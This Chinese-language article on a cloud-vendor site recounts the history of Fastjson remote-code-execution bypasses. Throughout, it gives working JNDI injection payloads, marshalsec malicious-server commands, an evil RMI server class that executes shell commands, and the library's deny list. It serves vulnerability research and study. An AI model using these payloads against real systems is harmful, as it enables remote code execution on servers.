您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關怎么淺談Fastjson RCE漏洞的繞過史,小編覺得挺實用的,因此分享給大家學習,希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
fastjson作為一個是使用十分廣泛的jar包,每一次的RCE漏洞都足以博得大眾的眼球,關于fastjson每次漏洞的分析也已經早有大牛詳細剖析,17年fastjson第一次爆出漏洞到現在為止,看一下fastjson的縫縫補補,對期間的漏洞做一個匯總,獲悉其中漏洞挖掘的一些規(guī)律。
DefaultJSONParser. parseObject() 解析傳入的 json 字符串提取不同的 key 進行后續(xù)的處理TypeUtils. loadClass() 根據傳入的類名,生成類的實例JavaBeanDeserializer. Deserialze() 依次調用 @type 中傳入類的對象公有 set\get\is 方法。ParserConfig. checkAutoType() 阿里后續(xù)添加的防護函數,用于在 loadclass 前檢查傳入的類是否合法。
首先來看一次fastjson反序列化漏洞的poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit",""autoCommit":true}
先看調用棧。
第一版的利用原理比較清晰,因為fastjson在處理以@type形式傳入的類的時候,會默認調用該類的共有set\get\is函數,因此我們在尋找利用類的時候思路如下:
1、類的成員變量我們可以控制;
2、想辦法在調用類的某個set\get\is函數的時候造成命令執(zhí)行。
于是便找到了JdbcRowSetImpl類,該類在setAutoCommit函數中會對成員變量dataSourceName進行l(wèi)ookup,標準的jndi注入利用。
Exec:620,Runtime //命令執(zhí)行
Lookup:417,InitalContext /jndi lookup函數通過rmi或者ldap獲取惡意類
setAutoCommit:4067,JdbcRowSetImpl 通過setAutoCommit從而在后面觸發(fā)了lookup函數
setValue:96,FieldDeserializer //反射調用傳入類的set函數
deserialze:600, JavaBeanDeserializer 通過循環(huán)調用傳入類的共有set,get,is函數
parseObject:368,DefaultJSONParser 解析傳入的json字符串
關于jndi注入的利用方式我在這里簡單提一下,因為jndi注入的利用受jdk版本影響較大,所以在利用的時候還是要多嘗試的。
注:利用之前當然要先確定一下漏洞是否存在,通過dnslog是個比較好用的法子。
1、基于rmi的利用方式
適用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
利用方式:
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://127.0.0.1:8080/test/#Exploit
2、基于ldap的利用方式
適用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
利用方式:
java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8080/test/#Exploitt
3、基于BeanFactory的利用方式
適用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因為這個利用方式需要借助服務器本地的類,而這個類在tomcat的jar包里面,一般情況下只能在tomcat上可以利用成功。
利用方式:
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
fastjson在曝出第一版的RCE漏洞之后,官方立馬做了更新,于是就迎來了一個新的主角,checkAutoType() ,在接下來的一系列繞過中都是和這個函數的斗智斗勇。
先看一下這個函數的代碼:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
int mask;
String accept;
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
防御的方式比較清晰,限制長度+黑名單,這個時候第一時間產生的想法自然是繞過黑名單,先看一下第一版的黑名單:
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
其實第一版的黑名單還是挺強大的,關于黑名單的繞過,就我已知的目前只有一個依賴于ibatis的payload,當然因為ibatis在java里面的使用還是非常廣泛的,所以這個payload危害也是比較大的,這也就是1.2.45的繞過。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties"{"data_source":"rmi://localhost:1099/Exploit"}}
繞過黑名單是第一種思路,但是安全界大牛們思路還是比較靈活的,很快又發(fā)現了第二種思路,我們再仔細看一下checkAutoType函數的下面這幾行代碼:
f (!this.autoTypeSupport) {
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
該函數是先檢查傳入的@type的值是否是在黑名單里,然后再進入loadClass函數,這樣的話如果loadClass函數里要是會對傳入的class做一些處理的話,我們是不是就能繞過黑名單呢,跟進loadClass函數,
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
可以看到當傳入的className以L開頭以 ; 結尾的時候會把className的首字符和最后一個字符截去,再去生成實例,于是繞過的poc就非常好寫了,原來的payload的利用類的首尾加上這兩個字符就Ok了。
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
之后的42、43版本的繞過和41的原理是一樣的我們就不再提了,具體可以去https://github.com/shengqi158/fastjson-remote-code-execute-poc/自行查閱。
OK,現在來到了我們期待已久的最新的fastjson漏洞的分析,關于這個漏洞有很精彩的小故事可以講一講。
這個漏洞在曝光之后poc遲遲未見,關于它能夠被利用成功的版本也可謂是每日都有更新,關于版本有幾個關鍵字“51”、“48”,“58”,究竟是哪個讓人摸不到頭腦,于是乎,決定先去看看官方的公告,發(fā)現只有49版本releases的公告里面寫了“增強安全防護”,于是乎決定去48、49版本尋覓一下,看看commit之類的,但是當時也沒有發(fā)現什么。
這個時候,一個名不愿透露姓名的大佬在某個技術群里面默默發(fā)了一個關鍵字“testcase“,當時忽然間產生了一絲電流,難道阿里的大佬們在修漏洞的時候會在testcase里面做測試,然后還把testcase的代碼傳到git里面了?但是還不夠,因為testcase的代碼太多了究竟放在哪里呢,這個時候之前的分析就可以知道,阿里在防護第一版RCE的時候是通過autotypecheck函數,那這次的補丁也很有可能和它相關嘍,直接在testcase里面全局尋找?guī)в衋utotype關鍵字的文件名,于是乎,就到達了如下位置:
依次去看一下里面的文件,基本都是和反序列化漏洞相關的test,其中AutoTypeTest4.java文件中有如下代碼:
public void test_0()throws Exception{
String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String payload_2="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";
assertNotNull("class deser is not null",config.getDeserializer(Class.class));
int size=mappings.size();
final int COUNT=10;
for(int i=0;i<COUNT; ++i){
JSON.parse(payload,config);
}
for(int i=0;i<COUNT; ++i){
Throwable error2=null;
try{
JSON.parseObject(payload_2);
}catch(Exception e){
error2=e;
}
assertNotNull(error2);
assertEquals(JSONException.class,error2.getClass());
}
assertEquals(size,mappings.size());
}
看上去和以往的payload都不太一樣,先去寫一個簡化版的代碼,調試一下:
String payload="{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}";
String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
JSON.parse(payload);
JSON.parse(payload_2);
發(fā)現可以彈框成功(從49版本往前,一個版本一個版本試驗,到47版本試驗成功了),那這就很可疑了,但是還有個問題,漏洞要利用總不能讓你同時傳進去兩個json字符串讓你依次parse吧,于是把兩串json整理如下
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
果然可以利用成功,、接下來可以調試一下看看漏洞成因,因為一眼就能看出來是繞過了黑名單,所以問題的關鍵自然在checkAutoType()和loadClass()這兩個函數中,去跟進一下
首先在" a " :{ " @type " : " java.lang.Class " , " val " : " com.sun.rowset.JdbcRowSetImpl " } 傳入的時候,Class類是不在黑名單內的,在MiscCodec類的deserialze函數里面可以看到會將val的值拿出來用來生成對應的對象,即JdbcRowSetImpl,但是我們并沒法給JdbcRowSetImpl對象的成員變量賦值,
繼續(xù)往deserialze的下面看,當傳入的@type的值為Class的時候會調用loadClass函數,
再往下跟,有調了一下loadClass函數,多加了一個值為true的參數
再跟進去可以看到因為傳入的cache為true,所以會在mapping里面把JdbcRowSetImpl這個對象的實例和com.sun.rowset.JdbcRowSetImpl 對應起來,OK現在關于a的分析到此為止,
我們該去跟著b
(" b " :{ " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " ldap://localhost:1389/Exploit " , " autoCommit " :true}} )了,看看為什么checkautotype()函數沒把b給攔下來,直接去跟進checkautotype函數,當autotype為true的時候,雖然發(fā)現黑名單匹配了,但是TypeUtils.getClassFromMapping(typeName) !=null所以不會拋出異常。
而當autotype為false的時候,發(fā)現當傳入的@type對應的類在mapping里面有的時候,就直接把之前生成的對象拉出來了,這時候直接返回,壓根還沒有走到后面的黑名單,所以成功繞過了之前的補丁。可以看到這次的poc是不受autotype影響的,
從上面的分析也可以明白后續(xù)官方的補丁做了什么,那自然是把cache的默認值改成了false,不讓Class生成的對象存在mapping里面了。
從上面追溯的fastjson的修復繞過上面可以看到有以下幾點還是很值得注意的:
1、 fastjson的防范類是checkAutoType函數,而導致命令執(zhí)行的很關鍵的一步是loadClass,因此從checkAutoType到loadClass之間的代碼,將會是繞過補丁需要研究的關鍵部分。
2、 如果需要繞過黑名單,需要將目光放到使用量較大,并提供jndi功能的jar包上。
3、 對于這種早就修復但是官方還沒有公開的漏洞,github的源碼中說不定有驚喜。
以上就是怎么淺談Fastjson RCE漏洞的繞過史,小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。